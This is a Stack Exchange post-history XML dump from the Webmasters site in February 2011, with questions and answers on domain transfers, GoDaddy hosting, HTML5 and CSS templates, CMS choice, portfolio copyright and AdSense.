  <row Id="20583" PostHistoryTypeId="1" PostId="9353" RevisionGUID="40b3ebc5-4d8c-4f51-80fb-bea873e27f91" CreationDate="2011-02-18T21:17:33.630" UserId="5500" Text="Really simple FOSS CSS for a report?" />
  <row Id="20584" PostHistoryTypeId="3" PostId="9353" RevisionGUID="40b3ebc5-4d8c-4f51-80fb-bea873e27f91" CreationDate="2011-02-18T21:17:33.630" UserId="5500" Text="&lt;html&gt;&lt;css&gt;&lt;template&gt;" />
  <row Id="20591" PostHistoryTypeId="17" PostId="9356" RevisionGUID="832db101-5c1e-4b8f-808b-b0e102a3fb20" CreationDate="2011-02-18T22:39:49.193" UserId="-1" Comment="from http://superuser.com/questions/247606/what-happens-if-i-transfer-domain-from-one-registrar-to-another-one/247636#247636" Text="" />
  <row Id="20592" PostHistoryTypeId="2" PostId="9356" RevisionGUID="2deadc57-b6b4-46e5-bdbd-b24338d15bcf" CreationDate="2011-02-18T20:50:56.223" UserDisplayName="Jeff" Text="The last time I transferred a domain I had to pay a transfer fee with the new registrar and purchase a minimum of a one year renewal with them as well.  The old registrar simply asked me if I authorized the transfer and then did the transfer for no cost to me (although they may get a piece of the transfer fee I was charged by the new company)." />
  <row Id="20593" PostHistoryTypeId="2" PostId="9355" RevisionGUID="24a365a6-d5ee-4db2-b7d8-b2d7f1505755" CreationDate="2011-02-18T19:48:14.113" UserId="4973" Text="I have several domains registered at GoDaddy. I bought them with private registration. What happens if I transfer these domains (together with hosting) to other provider? Where will I pay for renewal next year?&#xD;&#xA;&#xD;&#xA;Also what should I be aware of when transfering domains?" />
  <row Id="20594" PostHistoryTypeId="1" PostId="9355" RevisionGUID="24a365a6-d5ee-4db2-b7d8-b2d7f1505755" CreationDate="2011-02-18T19:48:14.113" UserId="4973" Text="What happens if I transfer domain from one registrar to another one?" />
  <row Id="20595" PostHistoryTypeId="3" PostId="9355" RevisionGUID="24a365a6-d5ee-4db2-b7d8-b2d7f1505755" CreationDate="2011-02-18T19:48:14.113" UserId="4973" Text="&lt;domains&gt;&lt;domain-registrar&gt;&lt;transfer&gt;" />
  <row Id="20596" PostHistoryTypeId="17" PostId="9355" RevisionGUID="dd185984-677d-4594-bc84-07f8516b334c" CreationDate="2011-02-18T22:39:49.193" UserId="-1" Comment="from http://superuser.com/questions/247606/what-happens-if-i-transfer-domain-from-one-registrar-to-another-one" Text="" />
  <row Id="20597" PostHistoryTypeId="2" PostId="9357" RevisionGUID="e839766c-229d-480d-990e-b367f95b72a4" CreationDate="2011-02-18T22:44:31.657" UserId="4502" Text="Here's GoDaddy's help article on &lt;a href=&quot;http://help.godaddy.com/article/3560&quot;&gt;moving a domain away from them&lt;/a&gt;. You'll receive e-mails with confirmations and instructions during each step.&#xD;&#xA;&#xD;&#xA;Once the transfer is complete, you'll be paying the new registrar next year(or after however many years to renew for)." />
  <row Id="20598" PostHistoryTypeId="2" PostId="9358" RevisionGUID="ec2646a8-2dbe-42cd-83cd-720eb90f0139" CreationDate="2011-02-18T22:49:37.110" UserId="4502" Text="If you really want to just drop something in and not think about it, the &lt;a href=&quot;http://www.blueprintcss.org/tests/&quot;&gt;Blueprint CSS modules&lt;/a&gt; give a pretty decent, if plain, result. All you'll really have to do is some minor layout work to make the content column whatever size you want, as slapping it into a 960px one will be too wide for comfortable reading.&#xD;&#xA;&#xD;&#xA;Blueprint is probably the most well-known, but &lt;a href=&quot;http://atatonic.timbenniks.nl/&quot;&gt;Atatonic&lt;/a&gt; and &lt;a href=&quot;http://baselinecss.com/typography.html&quot;&gt;Baseline&lt;/a&gt; are also worth considering." />
  <row Id="20602" PostHistoryTypeId="5" PostId="9357" RevisionGUID="09383855-ab1f-4209-ab2c-3334b2c410be" CreationDate="2011-02-18T23:00:37.930" UserId="4502" Comment="added 1 characters in body" Text="Here's GoDaddy's help article on &lt;a href=&quot;http://help.godaddy.com/article/3560&quot;&gt;moving a domain away from them&lt;/a&gt;. You'll receive e-mails with confirmations and instructions during each step.&#xD;&#xA;&#xD;&#xA;Once the transfer is complete, you'll be paying the new registrar next year(or after however many years you renew for)." />
  <row Id="20604" PostHistoryTypeId="25" PostId="9303" RevisionGUID="812c3b5f-e726-435a-8a4d-f78d35a860d8" CreationDate="2011-02-19T02:22:40.110" Comment="http://twitter.com/#!/StackWebmasters/status/38785506426753024" />
  <row Id="20608" PostHistoryTypeId="2" PostId="9360" RevisionGUID="a85a4b55-6e8e-4188-8f5f-59eddd4f244b" CreationDate="2011-02-19T03:09:22.937" UserId="3748" Text="Does anyone know (or have running) if Chart Controls will work on GoDaddy's Windows Servers. They have ASP.NET 4.0 but is that enough?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="20609" PostHistoryTypeId="1" PostId="9360" RevisionGUID="a85a4b55-6e8e-4188-8f5f-59eddd4f244b" CreationDate="2011-02-19T03:09:22.937" UserId="3748" Text="Does GoDaddy support Microsoft Chart Controls " />
  <row Id="20610" PostHistoryTypeId="3" PostId="9360" RevisionGUID="a85a4b55-6e8e-4188-8f5f-59eddd4f244b" CreationDate="2011-02-19T03:09:22.937" UserId="3748" Text="&lt;web-development&gt;&lt;web-hosting&gt;&lt;godaddy&gt;&lt;windows&gt;&lt;microsoft&gt;" />
  <row Id="20612" PostHistoryTypeId="25" PostId="9360" RevisionGUID="7b4bfcc5-ad99-4586-8fea-c948576d0381" CreationDate="2011-02-19T05:22:39.773" Comment="http://twitter.com/#!/StackWebmasters/status/38830802867470336" />
  <row Id="20614" PostHistoryTypeId="25" PostId="9353" RevisionGUID="cfc8df3b-4e7a-4b80-ba86-c9816504632a" CreationDate="2011-02-19T08:22:39.790" Comment="http://twitter.com/#!/StackWebmasters/status/38876102222938112" />
  <row Id="20615" PostHistoryTypeId="2" PostId="9362" RevisionGUID="9b3fc5da-fb2a-4a48-b38b-0c0b403db4de" CreationDate="2011-02-19T08:56:28.737" UserId="5302" Text="I have several different needs on my website and I am thinking of using different CMSes - in each case, the one that most closely matches the needs of each page.  Is this recommended?  " />
  <row Id="20616" PostHistoryTypeId="1" PostId="9362" RevisionGUID="9b3fc5da-fb2a-4a48-b38b-0c0b403db4de" CreationDate="2011-02-19T08:56:28.737" UserId="5302" Text="Is it ok to use a hodgepodge of CMSes on a particular domain" />
  <row Id="20617" PostHistoryTypeId="3" PostId="9362" RevisionGUID="9b3fc5da-fb2a-4a48-b38b-0c0b403db4de" CreationDate="2011-02-19T08:56:28.737" UserId="5302" Text="&lt;cms&gt;" />
  <row Id="20618" PostHistoryTypeId="2" PostId="9363" RevisionGUID="2574216f-ea49-4f33-a8f0-39869945f439" CreationDate="2011-02-19T09:13:11.580" UserId="4803" Text="Depending on your webhost, anonymous FTP is usually extremely limited or simply blocked. Without FTP, there is **no way** that they can download that file without some kind of special hacking software (Which, if they are really nosey they will be able to get it as all unencrypted web information is sent via PlainText).&#xD;&#xA;&#xD;&#xA;I found a few sites depicting various methods to encrypt VBS - some using PHP some with ASP &lt;a href=&quot;http://stackoverflow.com/questions/270510/how-to-encrypt-in-vbscript-using-aes&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;http://www.utteraccess.com/forum/encrypt-vb-decrypt-t666040.html&quot;&gt;here&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;My advice would be to use HTTPS, which would solve the problem across the board." />
  <row Id="20619" PostHistoryTypeId="2" PostId="9364" RevisionGUID="3ea685ec-6e67-494e-b992-e4594b0ae886" CreationDate="2011-02-19T10:00:56.080" UserDisplayName="Benny" Text="I have just started making a website using a free provider.&#xD;&#xA;&#xD;&#xA;I was wondering is there any good HTML5 based templates that anyone nows that I can download.&#xD;&#xA;&#xD;&#xA;Thanks in advance,&#xD;&#xA;&#xD;&#xA;Benny, Age 12." />
  <row Id="20620" PostHistoryTypeId="1" PostId="9364" RevisionGUID="3ea685ec-6e67-494e-b992-e4594b0ae886" CreationDate="2011-02-19T10:00:56.080" UserDisplayName="Benny" Text="Best HTML5 Templates" />
  <row Id="20621" PostHistoryTypeId="3" PostId="9364" RevisionGUID="3ea685ec-6e67-494e-b992-e4594b0ae886" CreationDate="2011-02-19T10:00:56.080" UserDisplayName="Benny" Text="&lt;html5&gt;&lt;template&gt;" />
  <row Id="20623" PostHistoryTypeId="5" PostId="9364" RevisionGUID="c9355a2c-2b3b-4d2d-ae82-2da507fa96b2" CreationDate="2011-02-19T10:21:08.900" UserDisplayName="Benny" Comment="deleted 18 characters in body; deleted 22 characters in body; added 22 characters in body" Text="I have just started making a website using a free provider.&#xD;&#xA;&#xD;&#xA;I was wondering is there any good HTML5 based templates that anyone nows that I can download.&#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="20624" PostHistoryTypeId="2" PostId="9366" RevisionGUID="fd510521-ee32-4137-8b37-37113c5abf98" CreationDate="2011-02-19T10:47:03.077" UserId="5506" Text="I've seen people talk about sites upgrading from Flash to HTML5, but there's no sign of HTML5 anywhere in their source. So what constitutes as an &quot;HTML5 interface&quot;? Is this term becoming the next &quot;Web 2.0&quot;?" />
  <row Id="20625" PostHistoryTypeId="1" PostId="9366" RevisionGUID="fd510521-ee32-4137-8b37-37113c5abf98" CreationDate="2011-02-19T10:47:03.077" UserId="5506" Text="Defining 'HTML5 Interface'" />
  <row Id="20626" PostHistoryTypeId="3" PostId="9366" RevisionGUID="fd510521-ee32-4137-8b37-37113c5abf98" CreationDate="2011-02-19T10:47:03.077" UserId="5506" Text="&lt;html5&gt;" />
  <row Id="20627" PostHistoryTypeId="25" PostId="9364" RevisionGUID="05faaff6-bcf9-478e-b256-2b6682a07878" CreationDate="2011-02-19T11:22:40.203" Comment="http://twitter.com/#!/StackWebmasters/status/38921401616437248" />
  <row Id="20628" PostHistoryTypeId="2" PostId="9367" RevisionGUID="09995139-99c2-4d39-954f-556eee8fe981" CreationDate="2011-02-19T11:35:58.153" UserId="5461" Text="Thanks to @Jacob Hume's answer, I tried searching GoDaddy's Help section for &quot;DNS Zone&quot;.&#xD;&#xA;&#xD;&#xA;I eventually found the right help page, [Managing Domains with Off-Site DNS][1]&#xD;&#xA;&#xD;&#xA;This does not require subscribing to their &quot;Premium DNS&quot; service, meaning this can be done without any extra charge.&#xD;&#xA;&#xD;&#xA;  [1]:http://community.godaddy.com/help/article/4041&#xD;&#xA;" />
  <row Id="20629" PostHistoryTypeId="2" PostId="9368" RevisionGUID="1efcc1b2-7ae1-4803-b2c9-118f00331e3c" CreationDate="2011-02-19T11:55:44.457" UserId="5013" Text="I am going to answer your scenarios, but feel free to ask more questions relating to my answers and I will answer them as best as possible.&#xD;&#xA;&#xD;&#xA;1.) For your knitting blog, AdSense will take the strongest keywords -- that is, the keywords that appear to be most prevalent on the page and are prevalent in Google's database of available ads. However mixing content like this, while not necessarily underhanded isn't the best tactic when it comes to SEO. Furthermore, you have a high chance of diluting high paying keywords with low paying keywords.&#xD;&#xA;Also, if you are getting search engine traffic from people looking for information about knitting, they would be more likely to click an ad related to knitting than an ad about forex.&#xD;&#xA;Your best bet would be to target the two different audiences with two separate sites. From an SEO standpoint, I'm sure forex is a saturated market in the search engines, but there are probably many longtail keywords you could go for. This is likely a concern for you as it sounds like you're looking for a way to get those high paying keywords without having to do the difficult task of ranking against PR5s, 6s, and 7s in the search engines. &#xD;&#xA;&#xD;&#xA;2.) If someone comes to your page looking for knitting stuff from a search result like, &quot;How to Knit&quot; chances are they will be served an ad related to knitting. While ads shown are highly based on your content, ads also highly relate to the keyword a person used to find your site.&#xD;&#xA;Also, think about your audience. If you write a great site about knitting, people may link to you and come back. If they come to your site and see a bunch of stuff about forex, they may quickly leave without viewing any further content as they can see right away that the website isn't related to their search.&#xD;&#xA;&#xD;&#xA;I hope this helps." />
  <row Id="20630" PostHistoryTypeId="2" PostId="9369" RevisionGUID="65ec80d3-cc38-4e1c-a1bb-da2bbb795269" CreationDate="2011-02-19T12:10:53.237" UserId="5013" Text="Whatever remaining time that is on your domain follows the domain. That means if you have 2 years left on a domain with GoDaddy and you move it to somewhere better you SHOULD have the same time remaining on the domain. &#xD;&#xA;&#xD;&#xA;Once you transfer the domain, that's where it will be registered, so the next time you need to renew your domain, you will pay your new registrar for the renewal and not GoDaddy.&#xD;&#xA;&#xD;&#xA;However, I do want to warn you, transferring domains can be a real hassle. You will be required to obtain a key from one registrar and provide to the other, click links in emails and then some emails may have links that you click only if you want to cancel the switchover. Just make sure you read over everything you receive. It's important to know understand the process of leaving GoDaddy and the process of coming to your new host as all registrars are different.&#xD;&#xA;&#xD;&#xA;With some registrars, you can unlock your domain for transfer in the user panel, but one registrar I've used required me to email them a request for the domain to be unlocked.&#xD;&#xA;&#xD;&#xA;Best of luck!" />
  <row Id="20631" PostHistoryTypeId="2" PostId="9370" RevisionGUID="7478eabb-1553-4c68-8166-bde170937501" CreationDate="2011-02-19T12:11:26.227" UserId="227" Text="I'm interested in webdesign for a long time and try constantly to learn something new. I do not have any references in my portfolio, but would like to start freelancing.&#xD;&#xA;&#xD;&#xA;Is it bad practice to redesign a website from a local company and use it for my portfolio? Do I infringe any copyright? May I even offer it to them? &#xD;&#xA;&#xD;&#xA;Did someone do this before and may share there experience?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20632" PostHistoryTypeId="1" PostId="9370" RevisionGUID="7478eabb-1553-4c68-8166-bde170937501" CreationDate="2011-02-19T12:11:26.227" UserId="227" Text="Redesigning foreign website for my portfolio and offer it?" />
  <row Id="20633" PostHistoryTypeId="3" PostId="9370" RevisionGUID="7478eabb-1553-4c68-8166-bde170937501" CreationDate="2011-02-19T12:11:26.227" UserId="227" Text="&lt;website-design&gt;&lt;freelancer&gt;" />
  <row Id="20634" PostHistoryTypeId="2" PostId="9371" RevisionGUID="5e407d6b-da12-406b-9969-37b423f7ac21" CreationDate="2011-02-19T12:34:04.910" UserId="5013" Text="If you use a local company's website for your portfolio, you could run into some copyright issues even if you totally redesign the site. The company has full rights to their name, their logo, and even the text on their page. If you use this as your portfolio, you could have some problems.&#xD;&#xA;&#xD;&#xA;That said, there's nothing wrong with doing a redesign of their site and then offering it to them. You would want permission to use it for your portfolio and if you want that, offer them the redesign free of charge in return for permission to use the site as a part of your portfolio. I doubt the company would see anything wrong with this. But, again, only use it in your portfolio with the company's permission." />
  <row Id="20635" PostHistoryTypeId="2" PostId="9372" RevisionGUID="ba26ae84-ac22-45f4-8d44-8154ccd97b67" CreationDate="2011-02-19T12:45:30.897" UserId="4803" Text="No, it isn't a bad practice to use a mirror site, as long as you don't try to pretend that you came up with the concept; meaning **give credit**, and as Melanie said you could run into some issues with the law, just make sure that the law doesn't win. Ask the local company if you can use a redesigned version of their website for something on your portfolio.&#xD;&#xA;&#xD;&#xA;A great idea to kick-start your portfolio is to design an innovative website to hold your all of your work. Even in the beginning the customer can see what you're capable of. The website would be a great way for our customer to learn how you work and your specific skill set through a bio page. With the portal open, you can give them a lot more than just a few website designs you've done all in one go.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20636" PostHistoryTypeId="5" PostId="9372" RevisionGUID="80298505-5ac9-4b89-aee6-b0b5e10711b8" CreationDate="2011-02-19T14:02:25.753" UserId="4803" Comment="deleted 1 characters in body" Text="No, it isn't a bad practice to use another site, as long as you don't try to pretend that you came up with the concept; meaning **give credit**, and as Melanie said you could run into some issues with the law, just make sure that the law doesn't win. Ask the local company if you can use a redesigned version of their website for something on your portfolio.&#xD;&#xA;&#xD;&#xA;A great idea to kick-start your portfolio is to design an innovative website to hold your all of your work. Even in the beginning the customer can see what you're capable of. The website would be a great way for our customer to learn how you work and your specific skill set through a bio page. With the portal open, you can give them a lot more than just a few website designs you've done all in one go.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20637" PostHistoryTypeId="25" PostId="9370" RevisionGUID="61e8b79e-b2c3-408c-a96b-40c689f14014" CreationDate="2011-02-19T14:22:40.080" Comment="http://twitter.com/#!/StackWebmasters/status/38966699583733760" />
  <row Id="20638" PostHistoryTypeId="2" PostId="9373" RevisionGUID="559d84dc-6964-4986-9ae6-1af988ea1d71" CreationDate="2011-02-19T14:21:45.480" UserDisplayName="rFactor" Text="I am nearing a point of finalizing a website and it will soon be released. We have bought some traffic and advertisement packages and the nature of the site makes it heavier than typical static-like websites. I am looking for hear good ways to test how well the site performs under heavy load.&#xD;&#xA;&#xD;&#xA;I already know *ab*. Got any other tips to spare?" />
  <row Id="20639" PostHistoryTypeId="1" PostId="9373" RevisionGUID="559d84dc-6964-4986-9ae6-1af988ea1d71" CreationDate="2011-02-19T14:21:45.480" UserDisplayName="rFactor" Text="How to test high load on a website?" />
  <row Id="20640" PostHistoryTypeId="3" PostId="9373" RevisionGUID="559d84dc-6964-4986-9ae6-1af988ea1d71" CreationDate="2011-02-19T14:21:45.480" UserDisplayName="rFactor" Text="&lt;performance&gt;&lt;websites&gt;" />
  <row Id="20641" PostHistoryTypeId="17" PostId="9373" RevisionGUID="776fa661-dbec-401f-9b07-87af08b345f9" CreationDate="2011-02-19T14:25:44.140" UserId="-1" Comment="from http://stackoverflow.com/questions/5051260/how-to-test-high-load-on-a-website" Text="" />
  <row Id="20642" PostHistoryTypeId="5" PostId="9262" RevisionGUID="7f4dd265-fd40-4687-8ea9-98a28f7c5d30" CreationDate="2011-02-19T14:55:56.040" UserDisplayName="Benny" Comment="Please don't sign off." Text="I have built a form input page in HTML that&#xD;&#xA;has an action to post to an ASP handler/processor&#xD;&#xA;.asp file. The form handler/processor .asp file&#xD;&#xA;contains only &lt;% Insert VBScript Here %&gt; and no&#xD;&#xA;HTML output whatsoever.&#xD;&#xA;&#xD;&#xA;The .asp file was never intended to be a&#xD;&#xA;&quot;web viewable&quot; .asp file like an .asp home page&#xD;&#xA;file or html file would. It's supposed to be&#xD;&#xA;for my eyes only- not the public's however&#xD;&#xA;it does need to take info posted by the public&#xD;&#xA;and do something with it on it's end.&#xD;&#xA;&#xD;&#xA;I have used VBScript/ASP3.0 to build the form&#xD;&#xA;handler/processor file and would like to know how&#xD;&#xA;to keep someone from viewing the actual VBScript&#xD;&#xA;in the handler/processor .asp file. I am aware of&#xD;&#xA;obfuscation but I would like to know how to keep&#xD;&#xA;prying eyes from even being able to take a look&#xD;&#xA;at the obfuscated code in the handler/processor&#xD;&#xA;file.&#xD;&#xA;&#xD;&#xA;I realize that the server executes the .asp file&#xD;&#xA;first before outputting anything to the browser so&#xD;&#xA;I guess that my main concern is mostly that someone&#xD;&#xA;may could &quot;download&quot; the form handler/processor .asp file,&#xD;&#xA;then view it's contents on their machine.&#xD;&#xA;&#xD;&#xA;Assuming the form handler .asp file is where it is,&#xD;&#xA;behind the root, and is on a windows server&#xD;&#xA;(no htaccess approach) how could one protect it so that&#xD;&#xA;it could never be viewed or simply pulled down via&#xD;&#xA;anonymous ftp or something like that?&#xD;&#xA;&#xD;&#xA;Is there something like &quot;script only&quot; permissions that&#xD;&#xA;the system administrator could set up for a particular&#xD;&#xA;folder? Remember, with shared hosting I can't go above&#xD;&#xA;the root. If so, would the form still be able to post?&#xD;&#xA;&#xD;&#xA;How would any of you guys go about protecting the&#xD;&#xA;asp file in addition to obfuscation? Any help would&#xD;&#xA;be greatly appreciated." />
  <row Id="20643" PostHistoryTypeId="24" PostId="9262" RevisionGUID="1d6c5419-3b24-4f0f-88d5-3734593fdcd9" CreationDate="2011-02-19T14:55:56.040" Comment="Proposed by 4448 approved by 108 edit id of 23" />
  <row Id="20644" PostHistoryTypeId="5" PostId="9351" RevisionGUID="3ab899e5-88a1-4292-8fb4-604773e63ac2" CreationDate="2011-02-19T14:56:00.487" UserDisplayName="Benny" Comment="fixed grammer and last sentance" Text="I am looking for a scalable ASP.NET host for under $20.00/ month.&#xD;&#xA;&#xD;&#xA;I need it scalable just in case my website is featured on popular blogs and traffic increases dramatically (in that case, I would increase my budget).&#xD;&#xA;&#xD;&#xA;So far I checked Amazon EC2, Rackspace and GoGrid, but they are far too expensive. I also checked GoDaddy 4GH but it limits MSSQL to 200MB." />
  <row Id="20645" PostHistoryTypeId="24" PostId="9351" RevisionGUID="eb2ba642-d769-4ffb-b7d9-eb0023f04d03" CreationDate="2011-02-19T14:56:00.487" Comment="Proposed by 4448 approved by 108 edit id of 22" />
  <row Id="20646" PostHistoryTypeId="5" PostId="9370" RevisionGUID="10bdcda9-fd34-4a46-80e8-4f81d9c2ada0" CreationDate="2011-02-19T14:56:22.203" UserId="5013" Comment="grammar, spelling" Text="I've had an interest in web design for a long time and am constantly trying to learn something new. I do not have any references in my portfolio, but would like to start freelancing.&#xD;&#xA;&#xD;&#xA;Is it bad practice to redesign a website from a local company and use it for my portfolio? Do I infringe any copyright? What if I offer the redesign to the company? &#xD;&#xA;&#xD;&#xA;Has someone done this before? If so, share your experiences.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20647" PostHistoryTypeId="24" PostId="9370" RevisionGUID="3980508b-0299-4d0c-8489-e339eba3d78c" CreationDate="2011-02-19T14:56:22.203" Comment="Proposed by 5013 approved by 108 edit id of 24" />
  <row Id="20648" PostHistoryTypeId="2" PostId="9374" RevisionGUID="ec5f12e2-4636-4f32-b24c-ebb2164306c9" CreationDate="2011-02-19T15:16:27.053" UserId="5511" Text="Personally, I don't think this is a very good idea, for a number of reasons.&#xD;&#xA;&#xD;&#xA;First, a company has invested time and money into their website, perhaps quite a lot of either or both.  Most won't appreciate somebody essentially telling them that their design is &quot;wrong,&quot; which is what you would be implying.&#xD;&#xA;&#xD;&#xA;Next, by including it in your portfolio, you are automatically implying that you created or worked on the website, even if you give credit otherwise.  At best, this may be considered bad taste; at worst, you could be infringing on copyright laws.  Think about it this way - when you do become a successful web designer, do you want somebody taking a website you've spent many hours and creative energy on, and claiming it as his/her own?&#xD;&#xA;&#xD;&#xA;There is really nothing wrong with using a company's website for inspiration, although you may want to use a number of websites for that.  You can see what kinds of things (products and/or services) are found on that kind of website.&#xD;&#xA;&#xD;&#xA;What you will want to do is to make something more generic for a portfolio, until you get actual clients that you have designed yourself.  Come up with a company name and create a logo, etc.&#xD;&#xA;&#xD;&#xA;There are plenty of ideas out there, and room for innovation, that you don't have to steal another site.  Creativity is a hallmark of web design." />
  <row Id="20649" PostHistoryTypeId="10" PostId="9364" RevisionGUID="91469c98-cd4a-4ed5-96ae-30b86d2b2078" CreationDate="2011-02-19T15:38:10.363" UserId="-1" CloseReasonId="3" Text="[{&quot;Id&quot;:1757,&quot;DisplayName&quot;:&quot;Lèse majesté&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="20650" PostHistoryTypeId="5" PostId="9373" RevisionGUID="b62162bc-f3ad-4817-8da1-2bd43dc75de5" CreationDate="2011-02-19T15:39:51.407" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [How do you load test your application?](http://webmasters.stackexchange.com/questions/385/how-do-you-load-test-your-application)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Hi,&#xD;&#xA;&#xD;&#xA;I am nearing a point of finalizing a website and it will soon be released. We have bought some traffic and advertisement packages and the nature of the site makes it heavier than typical static-like websites. I am looking for hear good ways to test how well the site performs under heavy load.&#xD;&#xA;&#xD;&#xA;I already know *ab*. Got any other tips to spare?" />
  <row Id="20651" PostHistoryTypeId="10" PostId="9373" RevisionGUID="bb4002ac-c4dd-45e9-b928-9083ca254c9a" CreationDate="2011-02-19T15:39:51.283" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="20652" PostHistoryTypeId="2" PostId="9375" RevisionGUID="c1fac5ab-a978-4904-92ee-62b93969f1a5" CreationDate="2011-02-19T15:44:07.160" UserId="1253" Text="The more CMSes you use the more bug fixes, security holes, and updates you have to keep up with. It also means more training time as each CMS will operate differently. Plus there's always the risk that two or more may become incompatible over time which means a lot of potential work to correct it (and that may require completing removing on of them).&#xD;&#xA;&#xD;&#xA;CMSes are designed to handle lots of content types. If not out of the box then through plug-ins. The odds of you needed multiple CMSes is small to begin with and with enough research and effort you can find *one* that achieves your goals." />
  <row Id="20653" PostHistoryTypeId="17" PostId="9377" RevisionGUID="4f0c11ab-cb46-43ea-bb76-ec93420042fb" CreationDate="2011-02-19T16:10:39.717" UserId="-1" Comment="from http://stackoverflow.com/questions/5050051/php-ecommerce-script/5050061#5050061" Text="" />
  <row Id="20654" PostHistoryTypeId="2" PostId="9377" RevisionGUID="2314efef-bd41-49ff-9364-139d460a728d" CreationDate="2011-02-19T09:49:14.460" UserId="2774" Text="Best way is to use [Joomla][1] with [VirtualMart][2] or HikaShop !&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.joomla.org&#xD;&#xA;  [2]: http://www.virtuemart.net&#xD;&#xA;&#xD;&#xA;Can customize very well !" />
  <row Id="20655" PostHistoryTypeId="2" PostId="9376" RevisionGUID="644daec2-a08d-4fc7-94ae-83be39fe3bea" CreationDate="2011-02-19T09:44:54.303" UserDisplayName="keithics" Text="Is there a ready made PHP script where my users can create their own stores?&#xD;&#xA;I don't like ebay clones.. just a simple script where I can customize.&#xD;&#xA;&#xD;&#xA;regards!&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20656" PostHistoryTypeId="1" PostId="9376" RevisionGUID="644daec2-a08d-4fc7-94ae-83be39fe3bea" CreationDate="2011-02-19T09:44:54.303" UserDisplayName="keithics" Text="PHP ecommerce script" />
  <row Id="20657" PostHistoryTypeId="3" PostId="9376" RevisionGUID="644daec2-a08d-4fc7-94ae-83be39fe3bea" CreationDate="2011-02-19T09:44:54.303" UserDisplayName="keithics" Text="&lt;php&gt;&lt;ecommerce&gt;" />
  <row Id="20658" PostHistoryTypeId="17" PostId="9376" RevisionGUID="a1715eb1-fca3-4466-ba11-85b6ee043bd4" CreationDate="2011-02-19T16:10:39.717" UserId="-1" Comment="from http://stackoverflow.com/questions/5050051/php-ecommerce-script" Text="" />
  <row Id="20659" PostHistoryTypeId="2" PostId="9378" RevisionGUID="bf2f33b2-725a-4b07-ac5d-53b5ac57d462" CreationDate="2011-02-19T16:18:24.233" UserId="4803" Text="You will always have people who misinterpret or misuse a term, though from what I've seen out on the web an HTML5 interface still contains HTML5 markup.&#xD;&#xA;&#xD;&#xA;For it to become another &quot;Web 2.0&quot; term would mean that there wouldn't be an actual difference between HTML5 and other web languages.&#xD;&#xA;&#xD;&#xA;This is mostly up for your own interpretation." />
  <row Id="20660" PostHistoryTypeId="25" PostId="9373" RevisionGUID="913215d0-d1ac-48bc-92b5-e042063d17f1" CreationDate="2011-02-19T17:22:41.130" Comment="http://twitter.com/#!/StackWebmasters/status/39012003121086464" />
  <row Id="20661" PostHistoryTypeId="2" PostId="9379" RevisionGUID="92461900-c270-4253-b345-f833e52de9e8" CreationDate="2011-02-19T19:11:33.050" UserId="5514" Text="Agree with Christopher. Strictly it just refers to the next standard of HTML (HTML 5.0). The feeling of HTML5 becoming a buzzword is because it supports and simplifies many previously complicated/convoluted issues like embedding Flash, audio, and other media.&#xD;&#xA;&#xD;&#xA;Here is a great primer:&#xD;&#xA;&#xD;&#xA;http://diveintohtml5.org/" />
  <row Id="20662" PostHistoryTypeId="25" PostId="9362" RevisionGUID="6bb454ea-123b-4e06-bacb-ef70e2822f18" CreationDate="2011-02-19T20:22:42.803" Comment="http://twitter.com/#!/StackWebmasters/status/39057304351547392" />
  <row Id="20663" PostHistoryTypeId="17" PostId="9381" RevisionGUID="cb1634f4-d029-4da2-9c80-d54a20c5cb65" CreationDate="2011-02-19T20:31:25.197" UserId="-1" Comment="from http://stackoverflow.com/questions/5043565/is-it-possible-to-get-info-about-competitor-traffic/5043627#5043627" Text="" />
  <row Id="20664" PostHistoryTypeId="17" PostId="9382" RevisionGUID="54a88304-c39e-4db3-a313-aabc2dc7f9fc" CreationDate="2011-02-19T20:31:25.197" UserId="-1" Comment="from http://stackoverflow.com/questions/5043565/is-it-possible-to-get-info-about-competitor-traffic/5050403#5050403" Text="" />
  <row Id="20665" PostHistoryTypeId="17" PostId="9383" RevisionGUID="f8081521-0d2d-4f6e-9796-50098e38e8a2" CreationDate="2011-02-19T20:31:25.197" UserId="-1" Comment="from http://stackoverflow.com/questions/5043565/is-it-possible-to-get-info-about-competitor-traffic/5051918#5051918" Text="" />
  <row Id="20666" PostHistoryTypeId="2" PostId="9381" RevisionGUID="4cfc0897-e4b4-45d7-b08b-0ba1cb0bc81e" CreationDate="2011-02-18T16:08:07.707" UserDisplayName="Ropstah" Text="No you cannot.&#xD;&#xA;&#xD;&#xA;You could use [Alexia][1] to see statistics based on views by users using the Alexia toolbar. However this data is far from realistic.&#xD;&#xA;&#xD;&#xA;Some websites use (free) public tracking facilities. You could check for a little statistics logo on the website (mostly at the bottom) or you could check the HTML source code for statistics related Javascript. However this is mostly used on sites _you_ probably don't care about.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.alexia.com" />
  <row Id="20667" PostHistoryTypeId="2" PostId="9382" RevisionGUID="4d83af03-a8c1-492b-be6e-577498b85eba" CreationDate="2011-02-19T11:04:14.167" UserDisplayName="csdeejay" Text="No way! But calculating the keyword density and the position of the competitor calculating this things we can get an approximate result&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Daniel,&#xD;&#xA;&#xD;&#xA;Contus Support [Web Development Company][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.contussupport.com" />
